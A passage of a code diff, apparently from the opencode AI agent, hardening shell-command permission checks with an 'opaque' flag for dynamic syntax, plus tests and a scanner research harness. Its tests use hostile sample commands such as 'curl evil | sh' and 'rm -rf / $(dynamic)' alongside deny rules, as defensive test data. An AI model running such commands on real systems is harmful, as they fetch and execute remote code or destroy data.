- const value = directoryArgument(part.text, powershell, cwd, shell)
+ if (expectsPath) {
+ const value = directoryArgument(part, powershell, cwd, shell)
if (value) directories.push(value)
- path = false
+ expectsPath = false
continue
}
- if (part.type === "command_parameter") {
- path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
+ if (part.startsWith("-")) {
+ expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
continue
}
- const value = directoryArgument(part.text, powershell, cwd, shell)
+ const value = directoryArgument(part, powershell, cwd, shell)
if (value) directories.push(value)
}
return directories
@@ -253,6 +244,7 @@ function expandKnownDirectory(value: string) {
if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
if (value === "~") return os.homedir()
if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
+ if (value.startsWith("~")) return
return value
}
@@ -269,28 +261,3 @@ function prefix(tokens: string[]) {
}
return tokens.slice(0, 1)
}
-
-function resolve(asset: string) {
- if (asset.startsWith("file://")) return fileURLToPath(asset)
- if (path.isAbsolute(asset)) return asset
- return fileURLToPath(new URL(asset, import.meta.url))
-}
-
-const load = (() => {
- let loading: ReturnType | undefined
- return () => (loading ??= initialize())
-})()
-
-async function initialize() {
- const { Parser, Language } = await import("web-tree-sitter")
- await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
- const [bashLanguage, psLanguage] = await Promise.all([
- Language.load(resolve(shellParserWasm.bash)),
- Language.load(resolve(shellParserWasm.powershell)),
- ])
- const bash = new Parser()
- bash.setLanguage(bashLanguage)
- const ps = new Parser()
- ps.setLanguage(psLanguage)
- return { bash, ps }
-}
diff --git a/packages/core/src/shell/parser-wasm.bun.ts b/packages/core/src/shell/parser-wasm.bun.ts
deleted file mode 100644
index 278a169d9bb..00000000000
--- a/packages/core/src/shell/parser-wasm.bun.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
-
-export const shellParserWasm = { runtime, bash, powershell }
diff --git a/packages/core/src/shell/parser-wasm.node.ts b/packages/core/src/shell/parser-wasm.node.ts
deleted file mode 100644
index d8a9c5d6efc..00000000000
--- a/packages/core/src/shell/parser-wasm.node.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import { createRequire } from "node:module"
-
-const require = createRequire(import.meta.url)
-
-export const shellParserWasm = {
- runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
- bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
- powershell:
- process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
- require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
-}
diff --git a/packages/core/src/shell/parser-wasm.workerd.ts b/packages/core/src/shell/parser-wasm.workerd.ts
deleted file mode 100644
index 394d517a042..00000000000
--- a/packages/core/src/shell/parser-wasm.workerd.ts
+++ /dev/null
@@ -1,4 +0,0 @@
-// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
-// loads these lazily and degrades when initialization fails, so empty paths
-// keep module load side-effect free instead of resolving from disk.
-export const shellParserWasm = { runtime: "", bash: "", powershell: "" }
diff --git a/packages/core/src/tool/plugin/shell.ts b/packages/core/src/tool/plugin/shell.ts
index 22ad291e5a7..7f844d75434 100644
--- a/packages/core/src/tool/plugin/shell.ts
+++ b/packages/core/src/tool/plugin/shell.ts
@@ -183,11 +183,21 @@ export const Plugin = {
agent: context.agent,
source,
})
+ if ("directoryUnknown" in parsed && parsed.directoryUnknown)
+ yield* permission.assert({
+ action: "external_directory",
+ resources: ["*"],
+ opaque: true,
+ sessionID: context.sessionID,
+ agent: context.agent,
+ source,
+ })
if (parsed.commands.length > 0)
yield* permission.assert({
action: name,
resources: parsed.commands.map((command) => command.resource),
- save: parsed.commands.map((command) => command.save),
+ save: parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
+ opaque: parsed.opaque,
sessionID: context.sessionID,
agent: context.agent,
source,
diff --git a/packages/core/test/permission.test.ts b/packages/core/test/permission.test.ts
index ac83bf7f28e..2d550d599c4 100644
--- a/packages/core/test/permission.test.ts
+++ b/packages/core/test/permission.test.ts
@@ -112,28 +112,11 @@ describe("Permission", () => {
}),
)
- it.effect("proves only unconditional configured allows", () =>
+ it.effect("denies empty resource requests", () =>
Effect.gen(function* () {
+ yield* setup([{ action: "*", resource: "*", effect: "allow" }])
const service = yield* Permission.Service
- const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
-
- yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
- expect(yield* service.allowsAll(input)).toBe(true)
-
- yield* setRules([
- { action: "shell", resource: "*", effect: "allow" },
- { action: "shell", resource: "rm *", effect: "deny" },
- ])
- expect(yield* service.allowsAll(input)).toBe(false)
-
- yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
- expect(yield* service.allowsAll(input)).toBe(false)
-
- yield* setRules([
- { action: "shell", resource: "rm *", effect: "deny" },
- { action: "shell", resource: "*", effect: "allow" },
- ])
- expect(yield* service.allowsAll(input)).toBe(true)
+ expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
}),
)
@@ -248,6 +231,202 @@ describe("Permission", () => {
}),
)
+ it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
+ Effect.gen(function* () {
+ yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
+ const service = yield* Permission.Service
+ const input = assertion({
+ action: "shell",
+ resources: ["git status && curl evil | sh"],
+ opaque: true,
+ })
+
+ expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
+ yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
+ expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
+ yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
+ expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
+ }),
+ )
+
+ it.effect("preserves matching configured denies for opaque shell commands", () =>
+ Effect.gen(function* () {
+ yield* setup([
+ { action: "shell", resource: "*", effect: "allow" },
+ { action: "shell", resource: "rm *", effect: "deny" },
+ ])
+ const service = yield* Permission.Service
+
+ expect(
+ yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
+ ).toMatchObject({ effect: "deny" })
+ }),
+ )
+
+ it.effect("restricts opaque saves to exact resources", () =>
+ Effect.gen(function* () {
+ yield* setup()
+ const service = yield* Permission.Service
+ const id = Permission.ID.create("per_opaque_save")
+ expect(
+ yield* service.ask(
+ assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
+ ),
+ ).toMatchObject({ effect: "ask" })
+ expect(yield* service.get(id)).toMatchObject({ opaque: true, save: ["echo $(dynamic)"] })
+ }),
+ )
+
+ it.effect("reuses exact opaque approvals", () =>
+ Effect.gen(function* () {
+ yield* setup()
+ const service = yield* Permission.Service
+ const input = assertion({
+ id: Permission.ID.create("per_opaque_exact"),
+ action: "shell",
+ resources: ["echo $(dynamic)"],
+ opaque: true,
+ })
+ const pending = yield* service.assert(input).pipe(Effect.forkScoped)
+ yield* Effect.yieldNow
+ yield* service.reply({ requestID: input.id!, reply: "always" })
+ yield* Fiber.join(pending)
+ expect(yield* service.ask({ ...input, id: Permission.ID.create("per_opaque_exact_retry") })).toMatchObject({
+ effect: "allow",
+ })
+ expect(
+ yield* service.ask({
+ ...input,
+ id: Permission.ID.create("per_opaque_exact_other"),
+ resources: ["echo $(other)"],
+ }),
+ ).toMatchObject({ effect: "ask" })
+ }),
+ )
+
+ it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
+ Effect.gen(function* () {
+ yield* setup([
+ { action: "shell", resource: "*", effect: "allow" },
+ { action: "shell", resource: "curl *", effect: "deny" },
+ ])
+ const service = yield* Permission.Service
+
+ expect(
+ yield* service.ask(assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true })),
+ ).toMatchObject({ effect: "ask" })
+ expect(
+ yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
+ ).toMatchObject({ effect: "deny" })
+ }),
+ )
+
+ it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
+ Effect.gen(function* () {
+ yield* setup([
+ { action: "shell", resource: "*", effect: "allow" },
+ { action: "shell", resource: "sudo *", effect: "ask" },
+ ])
+ const service = yield* Permission.Service
+ expect(
+ yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
+ ).toMatchObject({ effect: "ask" })
+ }),
+ )
+
+ it.effect("never makes opaque requests more permissive", () =>
+ Effect.gen(function* () {
+ yield* setup()
+ const service = yield* Permission.Service
+ const effects = ["allow", "ask", "deny"] as const
+ const resources = ["*", "git *", "git status", "curl *"] as const
+ const rank = { deny: 0, ask: 1, allow: 2 } as const
+ let index = 0
+
+ for (const firstEffect of effects) {
+ for (const secondEffect of effects) {
+ for (const firstResource of resources) {
+ for (const secondResource of resources) {
+ yield* setRules([
+ { action: "shell", resource: firstResource, effect: firstEffect },
+ { action: "shell", resource: secondResource, effect: secondEffect },
+ ])
+ const id = Permission.ID.create(`per_matrix_${index++}`)
+ const normal = yield* service.ask(assertion({ id, action: "shell", resources: ["git status"] }))
+ const opaque = yield* service.ask(
+ assertion({
+ id: Permission.ID.create(`per_matrix_${index++}`),
+ action: "shell",
+ resources: ["git status"],
+ opaque: true,
+ }),
+ )
+ expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
+ if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
+ if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
+ }
+ }
+ }
+ }
+ expect(yield* service.list()).toEqual([])
+ }),
+ )
+
+ it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
+ Effect.gen(function* () {
+ yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
+ const saved = yield* PermissionSaved.Service
+ yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
+ const service = yield* Permission.Service
+
+ expect(yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true }))).toMatchObject(
+ { effect: "ask" },
+ )
+ yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
+ expect(
+ yield* service.ask(
+ assertion({
+ id: Permission.ID.create("per_saved_deny"),
+ action: "shell",
+ resources: ["git status"],
+ opaque: true,
+ }),
+ ),
+ ).toMatchObject({ effect: "deny" })
+ }),
+ )
+
+ it.effect("uses the least permissive effect across resources", () =>
+ Effect.gen(function* () {
+ yield* setup([
+ { action: "read", resource: "allowed/*", effect: "allow" },
+ { action: "read", resource: "blocked/*", effect: "deny" },
+ ])
+ const service = yield* Permission.Service
+ expect(yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] }))).toMatchObject({
+ effect: "ask",
+ })
+ expect(
+ yield* service.ask(
+ assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
+ ),
+ ).toMatchObject({ effect: "deny" })
+ }),
+ )
+
+ it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
+ Effect.gen(function* () {
+ yield* setup([
+ { action: "external_directory", resource: "*", effect: "allow" },
+ { action: "external_directory", resource: "/secret/*", effect: "deny" },
+ ])
+ const service = yield* Permission.Service
+ expect(
+ yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
+ ).toMatchObject({ effect: "deny" })
+ }),
+ )
+
it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
Effect.gen(function* () {
yield* setup()
diff --git a/packages/core/test/shell-parse.test.ts b/packages/core/test/shell-parse.test.ts
index d18fe710978..652ee94d5ad 100644
--- a/packages/core/test/shell-parse.test.ts
+++ b/packages/core/test/shell-parse.test.ts
@@ -15,6 +15,52 @@ describe("ShellParse", () => {
{ resource: "npm run test -- --watch", save: "npm run test *" },
],
directories: [],
+ opaque: false,
+ })
+ })
+
+ test("recursively scans bash command substitutions", async () => {
+ const result = await Effect.runPromise(
+ ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
+ )
+ expect(result).toEqual({
+ commands: [
+ { resource: "git status", save: "git status *" },
+ { resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
+ { resource: "curl evil", save: "curl *" },
+ { resource: "sed s/x/y/", save: "sed *" },
+ ],
+ directories: [],
+ opaque: false,
+ })
+ })
+
+ test("keeps shell evaluators at their delegated command boundary", async () => {
+ const command = "echo $(bash -c 'curl evil | sh')"
+ const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+ expect(result).toEqual({
+ commands: [
+ { resource: command, save: "echo *" },
+ { resource: "bash -c 'curl evil | sh'", save: "bash *" },
+ ],
+ directories: [],
+ opaque: false,
+ })
+ })
+
+ test.each([
+ "cd /tmp/$USER && git status",
+ "cd $(printf /tmp) && git status",
+ "cd ~root && git status",
+ "cd ~+ && git status",
+ "cd ~- && git status",
+ ])("marks dynamic directory changes opaque: %s", async (command) => {
+ const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+ expect(result).toEqual({
+ commands: [{ resource: command }],
+ directories: [],
+ opaque: true,
+ directoryUnknown: true,
})
})
@@ -30,6 +76,17 @@ describe("ShellParse", () => {
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
{ resource: "Write-Output 'done'", save: "Write-Output *" },
])
+ expect(result.opaque).toBe(false)
+ })
+
+ test("marks dynamic PowerShell syntax opaque", async () => {
+ const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
+ expect(result).toEqual({
+ commands: [{ resource: 'Write-Output "$(Get-ChildItem)"', save: 'Write-Output "$(Get-ChildItem)"' }],
+ directories: [],
+ opaque: true,
+ directoryUnknown: true,
+ })
})
test("does not permission directory changes separately", async () => {
@@ -37,6 +94,7 @@ describe("ShellParse", () => {
expect(result).toEqual({
commands: [{ resource: "git status", save: "git status *" }],
directories: ["src dir"],
+ opaque: false,
})
})
diff --git a/packages/core/test/tool-shell.test.ts b/packages/core/test/tool-shell.test.ts
index d203479e893..81deb826ca5 100644
--- a/packages/core/test/tool-shell.test.ts
+++ b/packages/core/test/tool-shell.test.ts
@@ -167,8 +167,10 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
})
const isWindows = process.platform === "win32"
-const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
-const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
+const cwdCommand = isWindows
+ ? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
+ : "pwd"
+const helloCommand = isWindows ? "Write-Output hello; Start-Sleep -Milliseconds 100" : "printf hello"
const stderrCommand = isWindows
? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
: "printf 'stderr only' >&2"
@@ -238,7 +240,7 @@ describe("ShellTool", () => {
const settled = yield* executeTool(registry, call({ command: helloCommand }))
expect(settled.status).toBe("completed")
expect(settled.metadata).toMatchObject({ exit: 0, truncated: false })
- expect(settled.content?.[0]).toEqual({ type: "text", text: "hello" })
+ expect(settled.content?.[0]).toMatchObject({ type: "text", text: expect.stringContaining("hello") })
expect(settled.content?.[1]).toMatchObject({
type: "text",
text: expect.stringContaining("Command exited with code 0."),
@@ -247,10 +249,10 @@ describe("ShellTool", () => {
{
sessionID,
action: "shell",
- resources: [isWindows ? "Start-Sleep -Milliseconds 100" : helloCommand],
+ resources: isWindows ? ["Write-Output hello", "Start-Sleep -Milliseconds 100"] : [helloCommand],
},
])
- expect(assertions[0]?.save).toEqual([isWindows ? "Start-Sleep *" : "printf *"])
+ expect(assertions[0]?.save).toEqual(isWindows ? ["Write-Output *", "Start-Sleep *"] : ["printf *"])
}),
)
},
@@ -443,7 +445,7 @@ describe("ShellTool", () => {
([active, outside]) => {
reset()
const command = isWindows
- ? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
+ ? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
: `cd '${outside.path}' && pwd`
return withSession(active.path, (registry) =>
executeTool(registry, call({ command }, "call-external-cd")),
@@ -471,7 +473,9 @@ describe("ShellTool", () => {
Effect.promise(() => tmpdir()),
(tmp) => {
reset()
- const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
+ const command = isWindows
+ ? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
+ : "cd ~ && pwd"
return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
Effect.andThen(
Effect.sync(() => {
diff --git a/packages/protocol/src/groups/permission.ts b/packages/protocol/src/groups/permission.ts
index d8f722193f7..78170c3bb67 100644
--- a/packages/protocol/src/groups/permission.ts
+++ b/packages/protocol/src/groups/permission.ts
@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
import { Project } from "@opencode-ai/schema/project"
import { Session } from "@opencode-ai/schema/session"
-import { Context, Schema } from "effect"
+import { Context, Schema, Struct } from "effect"
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
import { LocationQuery, locationQueryOpenApi } from "./location.js"
@@ -64,11 +64,7 @@ export const makePermissionGroup = <
params: { sessionID: Session.ID },
payload: Schema.Struct({
id: Permission.ID.pipe(Schema.optional),
- action: Permission.Request.fields.action,
- resources: Permission.Request.fields.resources,
- save: Permission.Request.fields.save,
- metadata: Permission.Request.fields.metadata,
- source: Permission.Request.fields.source,
+ ...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
agent: Agent.ID.pipe(Schema.optional),
}),
success: Schema.Struct({
diff --git a/packages/schema/src/permission.ts b/packages/schema/src/permission.ts
index 2faebd42416..bd2bfccb1ae 100644
--- a/packages/schema/src/permission.ts
+++ b/packages/schema/src/permission.ts
@@ -27,6 +27,7 @@ const RequestFields = {
action: Schema.String,
resources: Schema.Array(Schema.String),
save: Schema.Array(Schema.String).pipe(optional),
+ opaque: Schema.Boolean.pipe(optional),
metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
source: Source.pipe(optional),
}
diff --git a/packages/server/src/handlers/permission.ts b/packages/server/src/handlers/permission.ts
index 53aea5b310e..b0f260c6215 100644
--- a/packages/server/src/handlers/permission.ts
+++ b/packages/server/src/handlers/permission.ts
@@ -33,6 +33,7 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
action: ctx.payload.action,
resources: ctx.payload.resources,
save: ctx.payload.save,
+ opaque: ctx.payload.opaque,
metadata: ctx.payload.metadata,
source: ctx.payload.source,
agent: ctx.payload.agent,
diff --git a/packages/shell-scan/package.json b/packages/shell-scan/package.json
new file mode 100644
index 00000000000..0df9a44ff8e
--- /dev/null
+++ b/packages/shell-scan/package.json
@@ -0,0 +1,21 @@
+{
+ "$schema": "https://json.schemastore.org/package.json",
+ "name": "@opencode-ai/shell-scan",
+ "version": "0.0.0",
+ "private": true,
+ "type": "module",
+ "exports": {
+ ".": "./src/index.ts"
+ },
+ "scripts": {
+ "research:execution": "bun run research/execution-oracle.ts",
+ "research:powershell": "bun run research/powershell-conformance.ts",
+ "test": "bun test --only-failures",
+ "typecheck": "tsgo --noEmit"
+ },
+ "devDependencies": {
+ "@tsconfig/bun": "catalog:",
+ "@types/bun": "catalog:",
+ "@typescript/native-preview": "catalog:"
+ }
+}
diff --git a/packages/shell-scan/research/README.md b/packages/shell-scan/research/README.md
new file mode 100644
index 00000000000..4f7bb2c13ab
--- /dev/null
+++ b/packages/shell-scan/research/README.md
@@ -0,0 +1,41 @@
+# Shell Permission Scanner Research
+
+## Goal
+
+Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
+
+This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
+
+## Conformance
+
+```sh
+bun run research:execution
+PWSH=/path/to/pwsh bun run research:powershell
+```
+
+The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
+
+## Supported subset
+
+- Static command names and arguments
+- Single and double quotes
+- Backslash escapes and line continuation
+- `&&`, `||`, `;`, newline, `|`, and `|&`
+- Static assignment prefixes
+- Simple redirects
+- Comments
+- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
+
+## Opaque subset
+
+- Bash process substitution and arithmetic expansion
+- PowerShell subexpressions, arrays, scriptblocks, and here strings
+- Heredocs and here strings
+- Dynamic command names
+- Shell evaluators and command wrappers
+- Commands that consume source, callbacks, scripts, or mutate command resolution
+- Context-dependent directory changes that cannot be resolved before execution
+- Compound and background commands
+- Malformed syntax
+
+The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.
diff --git a/packages/shell-scan/research/execution-oracle.ts b/packages/shell-scan/research/execution-oracle.ts
new file mode 100644
index 00000000000..ac5b69adbbd
--- /dev/null
+++ b/packages/shell-scan/research/execution-oracle.ts
@@ -0,0 +1,320 @@
+import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
+import { tmpdir } from "node:os"
+import { join } from "node:path"
+import { ShellScan } from "../src/index.js"
+
+const shells = [
+ { name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
+ { name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
+ { name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
+] as const
+
+const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
+const successes = commands.slice(0, 3)
+const cases = new Map>()
+
+function add(category: string, source: string) {
+ const categories = cases.get(source) ?? new Set()
+ categories.add(category)
+ cases.set(source, categories)
+}
+
+const arguments_ = [
+ "",
+ " plain",
+ " 'single ; | && # $(oracle_gamma)'",
+ ' "double ; | && #"',
+ " escaped\\;separator",
+ " hash#inside",
+ " 'two words' tail",
+ ' "dollar $HOME"',
+ " backslash\\ space",
+] as const
+const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
+const redirects = ["", " > output", " 2> error", " < empty"] as const
+
+for (const command of commands) {
+ for (const assignment of assignments) {
+ for (const argument of arguments_) {
+ for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
+ }
+ }
+}
+
+const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
+for (const left of commands) {
+ for (const separator of separators) {
+ for (const right of successes) add("separator", left + separator + right + " final")
+ }
+}
+
+const substitutions = [
+ (outer: string, inner: string) => `${outer} $(${inner})`,
+ (outer: string, inner: string) => `${outer} "$(${inner})"`,
+ (outer: string, inner: string) => `${outer} pre$(${inner})post`,
+ (outer: string, inner: string) => `X=$(${inner}) ${outer}`,
+ (outer: string, inner: string) => `${outer} >$(${inner})`,
+ (outer: string, inner: string) => `${outer} \`${inner}\``,
+ (outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
+ (outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
+] as const
+for (const outer of successes) {
+ for (const inner of commands) {
+ for (const substitution of substitutions) add("substitution", substitution(outer, inner))
+ }
+}
+
+for (const command of successes) {
+ add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
+ add("comment", `# ${command} ignored\noracle_beta after`)
+ add("comment", `${command} hash#word # oracle_fail ignored`)
+ add("continuation", `${command} before\\\nafter`)
+ add("continuation", `${command} before \\\n after ; oracle_beta`)
+ add("quote", `'${command}' quoted-head`)
+ add("quote", `"${command}" quoted-head`)
+ add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
+}
+
+add("conditional", "oracle_fail || oracle_alpha recovered")
+add("conditional", "oracle_fail && oracle_alpha unreachable")
+add("conditional", "oracle_alpha || oracle_fail unreachable")
+add("conditional", "oracle_alpha && oracle_beta reached")
+add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
+add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
+add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
+
+let randomState = 0x5eed1234
+const random = (length: number) => {
+ randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+ return randomState % length
+}
+const atoms = [
+ ...commands,
+ ...successes.map((command) => `${command} plain`),
+ ...successes.map((command) => `${command} 'literal ; | #'`),
+ ...successes.map((command) => `${command} \"literal ; | #\"`),
+ ...successes.map((command) => `X=value ${command}`),
+] as const
+for (let iteration = 0; iteration < 2_500; iteration++) {
+ const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
+ const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
+ const nested = successes[random(successes.length)]
+ const forms = [
+ `${left}${separators[random(separators.length)]}${right}`,
+ `${left} $(${right})`,
+ `${left} \"$(${right})\"`,
+ `${left} pre$(${right})post`,
+ `X=$(${right}) ${left}`,
+ `${left} $(${right}; ${nested})`,
+ `${left} before # ignored\n${right}`,
+ `${left} before\\\nafter; ${right}`,
+ ]
+ add("deterministic-random", forms[iteration % forms.length])
+}
+
+const executionCases = [...cases].map(([source, categories], caseIndex) => {
+ let occurrence = 0
+ const names: string[] = []
+ const unique = source.replace(/\boracle_(\\?)(?:alpha|beta|gamma|fail)\b/g, (_, escaped: string) => {
+ const name = `oracle_${caseIndex}_${occurrence++}`
+ names.push(name)
+ if (!escaped) return name
+ return name.slice(0, -1) + "\\" + name.at(-1)
+ })
+ return { source: unique, categories, names }
+})
+
+const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
+const bin = join(root, "bin")
+const work = join(root, "work")
+const log = join(root, "dispatch.log")
+mkdirSync(bin)
+mkdirSync(work)
+await Bun.write(join(work, "empty"), "")
+await Bun.write(
+ join(bin, "oracle-command"),
+ `#!/bin/sh
+name=\${0##*/}
+printf '%s\\n' "$name" >> "$ORACLE_LOG"
+printf '%s\\n' "$name"
+[ "$ORACLE_MODE" = failure ] && exit 1
+`,
+)
+chmodSync(join(bin, "oracle-command"), 0o755)
+for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
+
+type Finding = {
+ shell: string
+ categories: string[]
+ source: string
+ dispatched: string[]
+ scanned: string[]
+ missing: string[]
+ status: number
+ stderr: string
+ reason: "dispatch" | "parse"
+}
+
+const findings: Finding[] = []
+const metrics = Object.fromEntries(
+ shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
+)
+const coverage = Object.fromEntries(
+ shells.flatMap((shell) =>
+ [...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
+ `${shell.name}:${category}`,
+ { scanned: 0, dispatches: 0 },
+ ]),
+ ),
+)
+const versions = Object.fromEntries(
+ shells.map((shell) => {
+ const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
+ return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
+ }),
+)
+
+try {
+ for (const shell of shells) {
+ for (const { source, categories } of executionCases) {
+ const result = ShellScan.scan(source)
+ const metric = metrics[shell.name]
+ metric.executed++
+ const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
+ cwd: work,
+ env: { HOME: root, PATH: bin, ZDOTDIR: root },
+ stdin: "ignore",
+ stdout: "ignore",
+ stderr: "pipe",
+ })
+ if (parsed.exitCode === 0) metric.parsed++
+ if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
+ metric.violations++
+ findings.push({
+ shell: shell.name,
+ categories: [...categories],
+ source,
+ dispatched: [],
+ scanned: result.commands.map((command) => command.words[0] ?? ""),
+ missing: [],
+ status: parsed.exitCode,
+ stderr: parsed.stderr.toString().trim(),
+ reason: "parse",
+ })
+ continue
+ }
+ if (parsed.exitCode !== 0) continue
+ if (result.kind === "opaque") {
+ metric.opaque++
+ continue
+ }
+ metric.scanned++
+ const dispatched = new Set()
+ let status = 0
+ let stderr = ""
+ for (const mode of ["success", "failure"]) {
+ await Bun.write(log, "")
+ const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
+ cwd: work,
+ env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
+ stdin: "ignore",
+ stdout: "ignore",
+ stderr: "pipe",
+ })
+ status = execution.exitCode
+ stderr = execution.stderr.toString().trim()
+ if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
+ metric.violations++
+ findings.push({
+ shell: shell.name,
+ categories: [...categories],
+ source,
+ dispatched: [...dispatched],
+ scanned: result.commands.map((command) => command.words[0] ?? ""),
+ missing: [],
+ status: execution.exitCode,
+ stderr: execution.stderr.toString().trim(),
+ reason: "dispatch",
+ })
+ }
